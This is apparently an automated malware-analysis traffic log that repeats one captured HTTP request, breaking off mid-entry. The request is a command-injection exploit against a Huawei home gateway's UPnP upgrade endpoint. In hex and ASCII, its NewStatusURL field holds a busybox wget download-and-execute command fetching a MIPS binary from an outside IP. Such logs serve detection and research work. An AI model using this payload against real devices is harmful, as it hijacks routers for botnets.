Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 